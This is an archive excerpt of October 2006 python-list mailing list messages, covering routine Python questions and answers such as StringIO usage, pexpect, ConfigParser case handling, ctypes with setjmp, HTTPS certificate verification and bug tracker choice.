>I'm a complete windows novice (as in I've forced myself to forget my 
>experiences with it), but does windows not run vim?
			.
			.
			.
Vim is indeed available for Windows.


From hanumizzle at gmail.com  Fri Oct  6 03:43:59 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 03:43:59 -0400
Subject: CGI Tutorial
In-Reply-To: <1A4BF05172023E468CB6E867923BC90402B6E2C3@accmail2.sunbelt.org>
References: <1A4BF05172023E468CB6E867923BC90402B6E2C3@accmail2.sunbelt.org>
Message-ID: <463ff4860610060043o6eeb42b3x81d0182d05473051@mail.gmail.com>

On 10/5/06, Sells, Fred <fred at adventistcare.org> wrote:
> content is great, my comments are editorial.

wrt what document?

> I prefer PDF with bookmarks rather than HTML.
> 1. easy to print the whole thing and read offline.
> 2. easy to find a secion from bookmarks, rather that chasing links
> 3. easy to save on my local "doc" folder so I can be sure It will always be
> there.  (i.e. I don't have to try to find it when you change servers)

wget will save you everytime.

> Of course that's just my opinion, I could be wrong ;)
>
> If you choose to go the PDF route, I've found OpenOffice 2.0 pretty good at
> generating PDF with bookmarks.  Just don't get too complex or OO may hose
> you.

LyX + pdflatex :)

-- Theerasak


From brian at sweetapp.com  Mon Oct 16 09:23:40 2006
From: brian at sweetapp.com (Brian Quinlan)
Date: Mon, 16 Oct 2006 15:23:40 +0200
Subject: Convert StringIO to string
In-Reply-To: <022401c6f125$856ac9d0$fde92452@bowlas>
References: <022401c6f125$856ac9d0$fde92452@bowlas>
Message-ID: <453387DC.60403@sweetapp.com>

Jonathan Bowlas wrote:
> Ahh thanks, I'll give that a try.
> 
> -----Original Message-----
> From: python-list-bounces+info=jonbowlas.com at python.org
> [mailto:python-list-bounces+info=jonbowlas.com at python.org] On Behalf Of
> skryskalla at gmail.com
> Sent: 16 October 2006 14:00
> To: python-list at python.org
> Subject: Re: Convert StringIO to string
> 
> Jonathan Bowlas wrote:
>> But obviously replace() isn't an attribute of StringIO so I guess I need
> to
>> convert it to a string first, can someone please advise how I can do this?
> 
> StringIO objects are file-like objects, so you need to use read or
> readlines to get the string data out of it (just like a regular file).
> Before reading remember to seek back to the beginning to get all of the
> data ("Be kind, rewind!"):
> 
>>>> import StringIO
>>>> s = StringIO.StringIO()
>>>> s.write("hello world\n")
>>>> s.seek(0)
>>>> s.read()
> 'hello world\n'

Or, instead of seak/read, just do

 >>> s.getvalue()

Cheers,
Brian




From noway at sorry.com  Thu Oct  5 05:37:04 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Thu, 05 Oct 2006 09:37:04 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
Message-ID: <4n4Vg.135913$_J1.898276@twister2.libero.it>

Martin v. L?wis wrote:

>> In fact, are you absolutely positive that you need so much effort to
>> maintain an existing bugtracker installation? I know for sure that
>> GCC's Bugzilla installation is pretty much on its own; Daniel Berlin
>> does some maintainance every once in a while (upgrading when new
>> versions are out, applying or writing some patches for most
>> requested features in the community, or sutff like that), but it's
>> surely not his job, not even part-time.
>
> Daniel Berlin has put a tremendous amount of work into it. I know,
> because I set up the first bug tracker for gcc (using GNATS), and
> have been followed the several years of pondering fairly closely.
> It was quite some work to set up GNATS, and it was even more work
> to setup bugzilla.
>
> For Python, we don't have any person similar to Daniel Berlin
> (actually, we have several who *could* have done similar work,
>  but none that ever volunteered to do it). Don't underestimate
> the work of somebody else.

Martin, I am by no means understimating Daniel's work. I am just noting that
the spare-time work he did is, by definition, much much lower than the "6-10
people" that the PSF infrastructure committee is calling for. I would like this
statement to be officially reduced to "2-3 people", since it is *really* not
required much more than that to setup a bug tracker installation, and no more
than 1 person to maintain it afterwards. *IF* there are more volunteers, that's
good, they can offload the maintenance work from a single maintainer; but I
think it's unfair to put such a high *requisite*.

We do not have 6-10 people maintaining SVN afterall, even if you wish we had :)
-- 
Giovanni Bajo




From grante at visi.com  Sat Oct 21 13:45:03 2006
From: grante at visi.com (Grant Edwards)
Date: Sat, 21 Oct 2006 17:45:03 -0000
Subject: Screen capture on Linux
References: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com>
	<mailman.906.1161450951.11739.python-list@python.org>
Message-ID: <12jkn4veef5ir94@corp.supernews.com>

On 2006-10-21, Sai Krishna M <saikrishbe at gmail.com> wrote:
> On 10/21/06, Paolo Pantaleo <paolopantaleo at gmail.com> wrote:
>> Hi,
>>
>> I need to capture a screen snapshot in Linux. PIL has a module

ImageMagick has a command-line program named "import" that you
might be able to use.

> Its defaultly provided in the 'actions' menu of the OS.

No, it isn't.  The OS has no "actions menu".

Your particular desktop configuration might, but it's that's
certainly not a characteristic of the OS.

-- 
Grant Edwards                   grante             Yow!  After this, I'm going
                                  at               to BURN some RUBBER!!
                               visi.com            


From Matthew.Warren at Digica.com  Wed Oct 11 07:58:43 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Wed, 11 Oct 2006 12:58:43 +0100
Subject: Bad Code (that works) help me re-write!
In-Reply-To: <1160566679.286427.168840@e3g2000cwe.googlegroups.com>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03C22FC4@UKEX01.Digica.local>

 

> -----Original Message-----
> From: 
> python-list-bounces+matthew.warren=digica.com at python.org 
> [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> rg] On Behalf Of Giles Brown
> Sent: 11 October 2006 12:38
> To: python-list at python.org
> Subject: Re: Bad Code (that works) help me re-write!
> 
> Matthew Warren wrote:
> > I have the following piece of code,
> <snip>
> No doubt you will get some kind soul to suggest some things, 
> but if you
> want really good
> answers I think you need explain why you want this command file (as
> opposed to using
> say a python script itself).  Are you attempting to create a simpler
> syntax than Python?
> A restricted set of operations?
> 

The code is from a larger project called the FatController.

FatController is currently a cli based utility for administering &
monitoring devices & applications in an enterprise environment.

Users enter commands at the prompt do things such as, define a managed
entity, execute instructions against that entity, etc

The processcommand() function and the command file are my attempt at
implementing the 'commands' that are available to the user. Rather than
hard-code all of the syntax and commands inside the module, I wanted an
external file to maintain the definitions of the commands available to
the user. The idea is that users will be able to implement their own
'entity' modules, which FatController will import and then use to manage
devices & applications the given entty applies to. So, at the time of
writing the code  thought It would be a good idea to have the command
definitions file external to the code, so and-users who write their own
modules can also extend the cammands available to Fatcontroller for
using those modules, if required.



Matt.








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From fredrik at pythonware.com  Sat Oct 28 10:12:57 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 16:12:57 +0200
Subject: Reading standard input
In-Reply-To: <1162041442.256614.275340@k70g2000cwa.googlegroups.com>
References: <1162041442.256614.275340@k70g2000cwa.googlegroups.com>
Message-ID: <ehvoha$1gt$1@sea.gmane.org>

MindClass wrote:

> The program shows a license text, then the user has to accept the
> license (or not).
> Is there another way to get text from console? (that using
> sys.stdin.read)

http://effbot.org/pyref/raw_input.htm

> I also would to trap the KeyboardInterrupt for that doesn't show that
> message. How would it be possible?

any reason you cannot use an ordinary try-except for that?

</F>




From mfmdevine at gmail.com  Mon Oct  2 11:14:21 2006
From: mfmdevine at gmail.com (Mark Devine)
Date: Mon, 2 Oct 2006 16:14:21 +0100
Subject: Python-list Digest, Vol 37, Issue 23
In-Reply-To: <mailman.2474.1159801690.10490.python-list@python.org>
References: <mailman.2474.1159801690.10490.python-list@python.org>
Message-ID: <8249b1d00610020814o3a0ab8fbq8fde0fca6d0b43d3@mail.gmail.com>

Hi
Sorry about that. Here is the full question:
I wonder if you can help me. I am using pexpect with python to access remote
machines and run commands on them. I pass commands into code like so:

def cmd(self, cmd):
        pp=[ "|", "]", "[", "(", ")", "$", "?", "*", ".", ":"]
        expcmd=cmd
        for element in pp:
            expcmd=expcmd.replace(element, "\\%s" % element)
        self.spawn.setecho(False)
        self.spawn.sendline(cmd)
        self.spawn.expect(expcmd)
        self.spawn.expect(self.prompt)
        return self.spawn.before

The above code is supposed to match the command, then match the prompt and
then return what is in between. Since pexpect uses regular expressions to
match what it sees, the command needs to have certain characters
backslashed. The problem is that on some remote shells hidden characters are
introduced that causes the expect statement (self.spawn.expect(expcmd)) to
timeout without matching. In perl there is a way to translate any character
with an ascii value of less than 32 to "" so that all hidden characters are
removed. Can this be done in python? Can this be applied to the regular
expression used by pexpect?

Bewildered

On 02/10/06, python-list-request at python.org <python-list-request at python.org>
wrote:
>
> Send Python-list mailing list submissions to
>        python-list at python.org
>
> To subscribe or unsubscribe via the World Wide Web, visit
>        http://mail.python.org/mailman/listinfo/python-list
> or, via email, send a message with subject or body 'help' to
>        python-list-request at python.org
>
> You can reach the person managing the list at
>        python-list-owner at python.org
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of Python-list digest..."
>
>
> Today's Topics:
>
>   1. Re: Problems wth os.stat().st_mtime on Mac (Michael Glassford)
>   2. Re: Help with ConfigParser (TonyHa)
>   3. regular expressions in the pexpect module for python (Mark Devine)
>   4. commands.getstatusoutput result is not command line exit
>      value!!! (Hari Sekhon)
>   5. PyCon proposals (was Re: PATCH: Speed up direct string
>      concatenation     by 20+%!) (Aahz)
>   6. Re: Python/UNO/OpenOffice? (John Machin)
>   7. Re: Help with ConfigParser (Enrico)
>   8. How to coerce a list of vars into a new type? (Matthew Wilson)
>   9. Making posts to an ASP.NET webform. (Bernard)
>  10. How can I make a class that can be converted into an int?
>      (Matthew Wilson)
>  11. Sort by domain name? (js )
>
>
>
> ---------- Forwarded message ----------
> From: Michael Glassford <glassfordm at hotmail.com>
> To: python-list at python.org
> Date: Mon, 02 Oct 2006 10:15:26 -0400
> Subject: Re: Problems wth os.stat().st_mtime on Mac
> Martin v. L?wis wrote:
> > Michael Glassford schrieb:
> >> Although not mentioned in the Python 2.5 News, apparently there was a
> >> similar change on Mac that I'm having some problems with. On the Mac,
> >> just as on Windows, os.stat().st_mtime now returns a float instead of
> an
> >> integer.
> >
> > It's isn't really new; os.stat_float_times was introduced in Python 2.3.
> > What changed in 2.5 is that it is now true. See
> >
> > http://docs.python.org/whatsnew/modules.html
>
> Thanks, I wasn't aware of os.stat_float_times. This helps me a lot,
> since I can turn off the floating point times in places until
> incompatible code can be fixed.
>
> >
> >> a) Why the difference between machines?
> >
> > You really have to delve into OSX to answer this question. Several
> > reasons are possible:
> > - there is a change in the operating system implementations
>
> Possible, I guess, although I don't know how to find out and there's
> likely nothing I could do about it even if I did.
>
> > - you are using different Python versions
>
> Python 2.5 on both.
>
> > - you are using different file systems
>
> This is the first thing I thought of, but all of the drives are
> formatted using "Mac OS Extended (Journalled)", which I assumed meant
> they are using the same file system.
>
> >
> >> b) Why do most files on this machine have ".0", while some (generally
> >> those I created myself using Python 2.5, I think) don't?
> >
> > Hard to tell. Maybe the software that created those files explicitly
> > set a time stamp on them, and failed to use the API that supports
> > subsecond resolution in setting those time stamps.
> >
> >> I understand how the results can be different: the os.stat() function
> >> returns a posix.stat_result object, which gives back an integer value
> >> for the mtime if you call __str__ or __repr__, or if you iterate on it;
> >> and a float if you get the st_mtime attribute. But I would consider it
> a
> >> bug that the results are different: a float should be returned in
> either
> >> case.
> >
> > That's for backwards compatibility: You shouldn't use the tuple
> > interface anymore, but use st_mtime for new code. This will always
> > be a float. OTOH, the tuple interface will continue to return
> > integers forever
>
> <snip>
>
> OK, thanks for the explanation.
>
> Mike
>
>
>
>
>
> ---------- Forwarded message ----------
> From: "TonyHa" <tony_ha2002 at yahoo.co.uk>
> To: python-list at python.org
> Date: 2 Oct 2006 07:29:49 -0700
> Subject: Re: Help with ConfigParser
> Hello Peter,
>
> Thanks for your help, and it works now!
>
> Tony.
>
> Peter Otten wrote:
> > tony.ha at philips.com wrote:
> >
> > > Question: How can I pervent ConfigParse to convert Upper case yo lower
> > > case??, thanks.
> >
> > http://docs.python.org/dev/lib/RawConfigParser-objects.html
> >
> > """
> > optionxform(option)
> >
> > Transforms the option name option as found in an input file or as passed
> in
> > by client code to the form that should be used in the internal
> structures.
> > The default implementation returns a lower-case version of option;
> > subclasses may override this or client code can set an attribute of this
> > name on instances to affect this behavior. Setting this to str(), for
> > example, would make option names case sensitive.
> > """"
> >
> > If you don't pass defaults:
> >
> > config = ConfigParser()
> > config.optionxform = str
> > # ...
> >
> > Or, to be on the safe side:
> >
> > class MyCasePreservingConfigParser(ConfigParser):
> >     optionxform = str
> >
> > config = MyCasePreservingConfigParser()
> > # ...
> >
> > Peter
>
>
>
>
>
> ---------- Forwarded message ----------
> From: "Mark Devine" <mfmdevine at gmail.com>
> To: python-list at python.org
> Date: Mon, 2 Oct 2006 15:43:35 +0100
> Subject: regular expressions in the pexpect module for python
> Hi
> I wonder if you can help me. I am using pexpect with python to access
> remote machines and run commands on them. I pass commands into code like so:
>
> def cmd(self, cmd):
>         pp=[ "|", "]", "[", "(", ")", "$", "?", "*", ".", ":"]
>         expcmd=cmd
>         for element in pp:
>             expcmd=expcmd.replace(element, "\\%s" % element)
>         self.spawn.setecho(False)
>         self.spawn.sendline(cmd)
>         self.spawn.expect (expcmd)
>         self.spawn.expect(self.prompt)
>         return self.spawn.before
>
> The above code is supposed to match the command, then match the prompt and
> then return what is in between. Since pexpect uses regular expressions to
> match what it sees
>
>
> ---------- Forwarded message ----------
> From: Hari Sekhon <hpsekhon at googlemail.com>
> To: python-list at python.org
> Date: Mon, 02 Oct 2006 15:45:12 +0100
> Subject: commands.getstatusoutput result is not command line exit value!!!
> I'm running a command like
>
> import commands
> result = commands.getstatusoutput('somecommand')
> print result[0]
> 3072
>
>
> However, this exit code made no sense so I ran it manually from the
> command line in bash on my linux server and it gives the exit code as
> 12, not this weird 3072 number.
>
> So I tried os.system('somecommand') in the interactive python shell and
> it too returned the same result for the exit code as the unix shell, 12,
> but re-running the commands.getstatusoutput() with the exact same
> command still gave 3072.
>
>
> Is commands.getstatusoutput() broken or something?
>
>
> -h
>
> --
> Hari Sekhon
>
>
>
>
>
> ---------- Forwarded message ----------
> From: aahz at pythoncraft.com (Aahz)
> To: python-list at python.org
> Date: 2 Oct 2006 07:43:09 -0700
> Subject: PyCon proposals (was Re: PATCH: Speed up direct string
> concatenation by 20+%!)
> In article <1159762765.943691.139690 at b28g2000cwb.googlegroups.com>,
> Larry Hastings <larry at hastings.org> wrote:
> >Steve Holden wrote:
> >>
> >> I think your project might make a very
> >> interesting PyCon paper for people who were thinking about joining the
> >> development effort but hadn't yet started.
> >
> >Perhaps; I've never been to PyCon, but it might be fun to give a
> >presentation there.  That said, it would be way more relevant if the
> >patch got accepted, don'tcha think?
>
> Not really.  The principles involved are timeless, and I guarantee you a
> large audience regardless of whether the patch gets accepted (provided
> you specify an appropriate presentation title and summary).
> --
> Aahz (aahz at pythoncraft.com)           <*>
> http://www.pythoncraft.com/
>
> "LL YR VWL R BLNG T S"  -- www.nancybuttons.com
>
>
>
>
> ---------- Forwarded message ----------
> From: "John Machin" <sjmachin at lexicon.net>
> To: python-list at python.org
> Date: 2 Oct 2006 07:46:53 -0700
> Subject: Re: Python/UNO/OpenOffice?
>
> olive wrote:
> > ... and you have to start your py file with:
> >
> > import uno, sys, socket
> > from com.sun.star.beans import PropertyValue
> >
> > ... and your start_oo_server.bat file with:
> >
> > @SET PYTHONPATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program
> > Files\OpenOffice.org 2.0\program\python-core-2.3.4\lib
> > @SET PATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program
> > Files\OpenOffice.org 2.0\program\python-core-2.3.4\bin
>
> Many thanks for all that, olive; I made the minimal hacks to make it
> open an XLS ffile, and it worked!
> I'll try to see why that worked and my previous experiment crashed
> inside a DLL.
> Cheers,
> John
>
>
>
>
>
> ---------- Forwarded message ----------
> From: "Enrico" <lux at perpetua.org>
> To: python-list at python.org
> Date: Mon, 2 Oct 2006 16:53:04 +0200
> Subject: Re: Help with ConfigParser
> Hi,
> from the documentation:
>
> optionxform(option)
>
> Transforms the option name option as found in an input file or as passed
> in
> by client code to the form that should be used in the internal structures.
> The default implementation returns a lower-case version of option;
> subclasses may override this or client code can set an attribute of this
> name on instances to affect this behavior. Setting this to str(), for
> example, would make option names case sensitive.
>
> Bye,
> Enrico
>
>
>
>
>
>
> ---------- Forwarded message ----------
> From: Matthew Wilson <matt at tplus1.com>
> To: python-list at python.org
> Date: Mon, 02 Oct 2006 14:53:10 GMT
> Subject: How to coerce a list of vars into a new type?
>
> I want to verify that three parameters can all be converted into
> integers, but I don't want to modify the parameters themselves.
>
> This seems to work:
>
>    def f(a, b, c):
>
>        a, b, c = [int(x) for x in (a, b, c)]
>
> Originally, I had a bunch of assert isinstance(a, int) statements at the
> top of my code, but I decided that I would rather just check if the
> parameters can be converted into integers.
>
> The new a, b, and c are all different objects, with different id values.
> Anyhow, this all seems like black magic to me.  Can anyone explain what
> is going on?
>
> Is it as simple as call-by-value?
>
>
>
>
> --
> A better way of running series of SAS programs:
> http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles
>
>
>
>
> ---------- Forwarded message ----------
> From: "Bernard" <bernard.chhun at gmail.com>
> To: python-list at python.org
> Date: 2 Oct 2006 07:55:23 -0700
> Subject: Making posts to an ASP.NET webform.
> hiya everyone,
>
> I've made this little webcrawler using BeautifulSoup, urllib and
> urllib2. I've been encountering ASP.NET Forms recently and I can't seem
> to make a proper post to some of them. My post function has been doing
> great until this particular website.
> Here's some explanations first so that you guys understands my
> problem...
>
> Usually there are 8 hidden inputs spread all over the web page:
> __EVENTTARGET --> that is the id of the control that is assigned by the
> ASP.NET engine. It is usually in this particular form
> "dg_Result$_ctl2$linkbtn1" The javascript function DoPostback usually
> replaces the '$' for a ':' before doing the real post. Some other
> ASP.NET page doesn't.
> __EVENTARGUMENT --> nothing's here usually.
> __ScrollTop --> its value is often 0
> __ScrollLeft --> same as __ScrollTop
> __ValidationSummary --> usually empty
> __VIEWSTATEENCRYPTED --> an encrypted string. I don't know what it
> means nor what it does.
> __EVENTVALIDATION --> an encrypted string. I don't know what it means
> nor what it does.
> __VIEWSTATE --> the encrypted state of the current control. the state
> of a datagrid for example.
>
> I extract all those values using regexes on the web page, build a
> dictionnary out of all those values and encrypt the whole thing using
> urllib.urlencode(). Afterwards I extract the form action and post the
> whole thing with cookies enabled. This procedure works like a charm.
>
> The website I've just encounted has only 3 of the 8 hidden inputs.
> (EVENTTARGET, EVENTARGUMENT & VIEWSTATE ).
> I tried posting the whole thing using only these 3 values & nada.
> I then tried posting the whole thing using all empty values for the 5
> remaining values...still nothing.
>
> Has anyone tried what I'm doing? and if you tried how have you
> succeeded getting the data back after the post action?
>
> thanks for any tips!
>
> cP
>
>
>
>
>
> ---------- Forwarded message ----------
> From: Matthew Wilson <matt at tplus1.com>
> To: python-list at python.org
> Date: Mon, 02 Oct 2006 14:59:05 GMT
> Subject: How can I make a class that can be converted into an int?
> What are the internal methods that I need to define on any class so that
> this code can work?
>
> c = C("three")
>
> i = int(c) # i is 3
>
> I can handle the part of mapping "three" to 3, but I don't know what
> internal method is called when int(c) happens.
>
> For string conversion, I just define the __str__ method.  What's the
> equivalent for int?  For float, too, while I'm at it?
>
> TIA
>
> Matt
>
> --
> A better way of running series of SAS programs:
> http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles
>
>
>
>
> ---------- Forwarded message ----------
> From: "js " <ebgssth at gmail.com>
> To: python-list at python.org
> Date: Tue, 3 Oct 2006 00:08:06 +0900
> Subject: Sort by domain name?
> Hi list,
>
> I have a list of URL and I want to sort that list by the domain name.
>
> Here, domain name doesn't contain subdomain,
> or should I say, domain's part of 'www', mail, news and en should be
> excluded.
>
> For example, if the list was the following
> ------------------------------------------------------------
> http://mail.google.com
> http://reader.google.com
> http://mail.yahoo.co.uk
> http://google.com
> http://mail.yahoo.com
> ------------------------------------------------------------
>
> the sort's output would be
> ------------------------------------------------------------
> http://google.com
> http://mail.google.com
> http://reader.google.com
> http://mail.yahoo.co.uk
> http://mail.yahoo.com
> ------------------------------------------------------------
>
> As you can see above, I don't want to
>
>
> Thanks in advance.
>
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>
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From gagsl-py at yahoo.com.ar  Wed Oct 18 16:04:14 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 18 Oct 2006 17:04:14 -0300
Subject: Image.draft -- what are the modes that I can use?
In-Reply-To: <1161181585.245045.41680@b28g2000cwb.googlegroups.com>
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
	<1161179376.827555.239810@i3g2000cwc.googlegroups.com>
	<mailman.687.1161179634.11739.python-list@python.org>
	<1161181585.245045.41680@b28g2000cwb.googlegroups.com>
Message-ID: <7.0.1.0.0.20061018170328.056b3e90@yahoo.com.ar>

At Wednesday 18/10/2006 11:26, abcd wrote:

>is there a way to make animated GIFs with python?  vnc2swf is to much
>for what i was hoping.  i have no problem with installing python
>packages, but having to use VNC is a bit much.

A VNC server is about 400K in size...


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From gagsl-py at yahoo.com.ar  Fri Oct  6 20:50:39 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 06 Oct 2006 21:50:39 -0300
Subject: ctypes and setjmp
In-Reply-To: <eg69uq$svt$1@sea.gmane.org>
References: <45259596$0$32011$afc38c87@news.optusnet.com.au>
	<eg69uq$svt$1@sea.gmane.org>
Message-ID: <7.0.1.0.0.20061006212300.04582770@yahoo.com.ar>

At Friday 6/10/2006 16:14, Thomas Heller wrote:

> > Currently ctypes can't play well with any C code that requires 
> use of setjmp
> > as part of its API.
> > libpng is one of those libraries.
> >
>I didn't know that setjmp/longjmp is actually used by production libraries
>for error handling.

Using setjmp to report errors in a general library is, uhm, a bit 
crazy at least!
C programmers are certainly crazy people :)

>How is this pattern used in C?  Do you call setjump() before each api call,
>or do you call setjump once, and then do all the api calls?  What do you do
>when setjmp() returns != 0?  Exit the program?  Log a message?  How do you
>determine which call failed?  How do you pass the jmp_buf that you passed to
>setjmp() to the api call?

The setjmp must be on scope when a longjmp is called. Since there is 
no endjmp/canceljmp, this in the practice means that you have to call 
setjmp in *every* function that calls another one which may issue a longjmp.
There are other alternatives in plain C (cexcept: 
http://cexcept.sourceforge.net/) but that wont help you with ctypes.

>For ctypes, the only solution I can think of is to invent a new calling
>convention, which will call setjmp() first internally before calling the
>libpng api function...

May be reasonable - a non-zero in setjmp would raise a Python 
exception. But perhaps a new calling convention is not needed: as you 
need a way to indicate *which* argument is the jmp_buf, just a new 
argument type would suffice. If you encounter one such thing in the 
function.argtypes list, that means a setjmp is needed before calling 
the actual function.



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From premiergeneration at yahoo.com  Mon Oct 23 21:04:01 2006
From: premiergeneration at yahoo.com (Yogesh Chawla - PD)
Date: Mon, 23 Oct 2006 18:04:01 -0700 (PDT)
Subject: https client certificate validation
Message-ID: <20061024010401.35037.qmail@web82708.mail.mud.yahoo.com>

Hello All,
I work for the State of Wisconsin and we are trying to
build a reference implementation using python.  Our
goals are this:

1) establish an HTTPS connection between our client
and ourselves

2) exchange client and server certificates to perform
mutual authentication

We only need to write the client in python.  The
client should check the server certificate, verify
that the date range and common name are valid.  Then
it should confirm that the server certificate is valid
according to a Certificate Revocation List.

After writing a basic script using HTTPSConnection, I
found this in the docs:

Warning: This does not do any certificate
verification!

I then tried to do the same using twisted, m2crypto
and a few other projects.

I am really hitting a wall here.  Can anyone point me
in the right direction?  I have a client cert, private
key and url I am trying to hit.  How can I fulfill the
requirements I have above using python?  I have done
most of this in Java, but we would prefer a python
implementation to distribute.

Thanks,
Yogesh Chawla 


From hg at nospam.com  Wed Oct  4 16:36:42 2006
From: hg at nospam.com (hg)
Date: Wed, 04 Oct 2006 15:36:42 -0500
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <82VUg.8549$Go3.4509@dukeread05>

gord wrote:
> As a complete novice in the study of Python, I am asking myself where this 
> language is superior or better suited than others. For example, all I see in 
> the tutorials are lots of examples of list processing, arithmetic 
> calculations - all in a DOS-like environment.
> 
> What is particularly disappointing is the absence of a Windows IDE, 
> components and an event driven paradigm. How does Python stand relative to 
> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these 
> programming packages are quite expensive now while Python is free (at least 
> for the package I am using - ActivePython).
> 
> Please discuss where Python shines.
> Gord
> 
> 
Big three? ... not sure even Bill agrees with you.

Code in Python and decide for yourself ... but again, nowadays, you're
to compare with C#, VB ... if you want to be in; that is.

hg



From martin at v.loewis.de  Fri Oct  6 07:59:09 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 06 Oct 2006 13:59:09 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1160133888.305119.147290@h48g2000cwc.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com> <45254B18.2090806@v.loewis.de>
	<mailman.1379.1160075929.10491.python-list@python.org>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<7x3ba1ltvj.fsf@ruckus.brouhaha.com> <452638EE.8030505@v.loewis.de>
	<1160133888.305119.147290@h48g2000cwc.googlegroups.com>
Message-ID: <4526450D.9000807@v.loewis.de>

Paul Boddie schrieb:
> As I asked before, did anyone look into asking large-scale users of the
> various considered products about their experiences with regard to
> reliability, scalability, and so on? 

I didn't ask anyone, primarily because of lack of time.

Regards,
Martin


From dan_roman_sb at yahoo.com  Wed Oct  4 06:53:47 2006
From: dan_roman_sb at yahoo.com (dan_roman)
Date: 4 Oct 2006 03:53:47 -0700
Subject: Python crash when trying to generate an Excel worksheet with VBA
	macros
Message-ID: <1159959227.175800.141450@m7g2000cwm.googlegroups.com>

Hi,
I developed a script with a nice interface in Tkinter that allows me to
edit some formulas and to generate an Excel worksheet with VBA macros
within it. The script runs perfectlly in Office 2000, but in Office
2003 crash at line: "wbc = workbook.VBProject.VBComponents.Add(1)"
Please help me :-(

the code of the module that crash is (only in Excel 2003, in 2000 not):

import os
import string
from win32com.client import Dispatch, constants

str_code="""
Dim nrfunc As Integer
Dim cursor As Integer
Dim i As Integer
Dim j As Integer



Sub Fill()


'Aflu numaru de functii din XL
i = 1
..................
"""
def createExcelReport(projectName,templateName,saveToPath):
	# acquire application object, which may start application
	application = Dispatch("Excel.Application")

	# create new file ('Workbook' in Excel-vocabulary) using the specified
template
	workbook = application.Workbooks.Add("Template1.xls")

	# store default worksheet object so we can delete it later
	defaultWorksheet = workbook.Worksheets(1)

	worksheet1 = workbook.Worksheets(1)
	worksheet2 = workbook.Worksheets(2)
	worksheet3 = workbook.Worksheets(3)

---->>>>>	wbc = workbook.VBProject.VBComponents.Add(1) <<<<------ here
is the problem

	wbc.Name="Module1"

	wbc.CodeModule.AddFromString(str_code)

	path=saveToPath+"\\"+projectName+"_"+templateName+".xls"

	workbook.SaveAs(path)

	worksheet1 = workbook.Worksheets(1)

	# make stuff visible now.
	worksheet1.Activate()
	application.Visible = True



From martin at v.loewis.de  Tue Oct 24 18:05:53 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 00:05:53 +0200
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161726769.183593.63300@m7g2000cwm.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161651470.010831.93400@m73g2000cwd.googlegroups.com>
	<mailman.1040.1161669922.11739.python-list@python.org>
	<1161726769.183593.63300@m7g2000cwm.googlegroups.com>
Message-ID: <453E8E41.9000306@v.loewis.de>

sturlamolden schrieb:
> A patch would involve an new object, say, "mmap.mmap2"  that thakes the
> additional offeset parameter. I don't want it to break any code
> dependent on the existing "mmap.mmap" object. Also, I think mmap.mmap2
> should allow the file object to be None, and in that case return a
> shared memory segment backed by the OS' paging file. Calling
> CreateFileMapping with the filehandle set to INVALID_HANDLE_VALUE is
> how shared memory for IPC is created on Windows.

Python has default parameters for that. Just add a new parameter,
and make it have a default value of 0. No need to add new functions
(let alone types).

In any case, take as much time as you need. Python 2.6 won't be
released until 2008.

Regards,
Martin


From martin at v.loewis.de  Wed Oct  4 16:39:18 2006
